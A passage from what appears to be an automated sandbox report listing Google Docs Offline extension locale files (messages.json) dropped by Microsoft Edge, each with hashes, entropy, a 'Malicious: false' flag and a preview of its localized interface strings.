Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
